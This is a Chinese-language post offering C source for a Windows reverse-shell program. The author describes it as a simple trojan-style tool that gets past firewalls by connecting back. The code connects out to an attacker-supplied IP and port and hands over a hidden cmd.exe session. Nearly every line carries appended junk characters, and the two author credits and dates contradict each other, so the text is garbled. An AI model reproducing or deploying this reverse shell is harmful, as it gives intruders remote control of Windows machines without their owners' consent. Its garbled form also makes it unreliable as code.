Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 k9)jjR*XxG  
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/* ============================== =jSb'Vu|  
Rebound port in Windows NT A
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By wind,2006/7 b}0,\B%  
===============================*/ 6;C3RU]  
#include :q=%1~Idla  
#include 1v,Us5s<"6  
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#pragma comment(lib,"wsock32.lib") /3;4#:Kkw  
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void OutputShell(); *4_jA](  
SOCKET sClient; 
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^ s1Q*He  
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void main(int argc,char **argv) *&?c(JU;<  
{ HU
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WSADATA stWsaData; K/A*<<r ~  
int nRet; 8d?g]DEN)6  
SOCKADDR_IN stSaiClient,stSaiServer; q2. XoCf  
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if(argc != 3) hZh9uI7.  
{ n9@ of  
printf("Useage:\n\rRebound DestIP DestPort\n"); f~Fm4>\(  
return; ,z3{u162  
} b|cyjDMAA  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]d,S749(s  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uvtF_P/  
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stSaiClient.sin_family = AF_INET; J\d3N7_d  
stSaiClient.sin_port = htons(0); %FXfqF9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )ap_Z6  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #?q&r_@@  
{ \zieyE  
printf("Bind Socket Failed!\n"); 8#(Q_  
return; V+Cwzc^j  
} 7:9.&W/KE  
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stSaiServer.sin_family = AF_INET; _7IKzUn9g[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XEn*?.e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _{R=B8Zz\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G"X8}:}  
{ R<sJ^n
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printf("Connect Error!"); gN24M3{C  
return; f@8>HCI  
} Z-E`>  
OutputShell(); *GxTX3i}vc  
} 'a$Gv&fu  
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void OutputShell() @) s,{F  
{ r`AuvwHPs[  
char szBuff[1024]; RE=`  
SECURITY_ATTRIBUTES stSecurityAttributes; 2kdC]|H2?  
OSVERSIONINFO stOsversionInfo; .mDM[e@'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /I)yU>o  
STARTUPINFO stStartupInfo; 9so6WIWc  
char *szShell; <Ard7UT  
PROCESS_INFORMATION stProcessInformation; zunV<2~(2}  
unsigned long lBytesRead; B*4}GPQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1QmH{jM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U>V&-kxtV  
stSecurityAttributes.lpSecurityDescriptor = 0; F#5B<I  
stSecurityAttributes.bInheritHandle = TRUE; 2P/K K  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k$H%.l;E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '~ ,p[  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]l'Y'z,}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G 16!eDMt  
stStartupInfo.wShowWindow = SW_HIDE; 6&bY}i^K  
stStartupInfo.hStdInput = hReadPipe; /%0<p,T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %Eb%V($  
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GetVersionEx(&stOsversionInfo); S}$r>[t  
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switch(stOsversionInfo.dwPlatformId) *Ho/ZYj3  
{ (T!9SU  
case 1: BNd^qB ?  
szShell = "command.com"; kGd<5vCs  
break; iXjo[Rz^C  
default: OfctoPP _0  
szShell = "cmd.exe"; M7ers|&{  
break; 0PU8#2pR  
} UlAzJO6"  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?;vgUO  
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send(sClient,szMsg,77,0); " R-!(9k^`  
while(1) io#&o;M<  
{ TjHwjRa  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nBHnkbKoy  
if(lBytesRead) UW9?p}F  
{ 3}@_hS"^8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H^.IY_I`U*  
send(sClient,szBuff,lBytesRead,0); 6oLwfTy  
} 0 ;b[QRmy  
else b&=5m  
{ 6KVnnK  
lBytesRead=recv(sClient,szBuff,1024,0); /ODXV`3QYI  
if(lBytesRead<=0) break; mp9{m`Jb*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +)j
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} h$.:Uj8/  
} 9lGOWRxR)  
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return; tID%}Zv  
}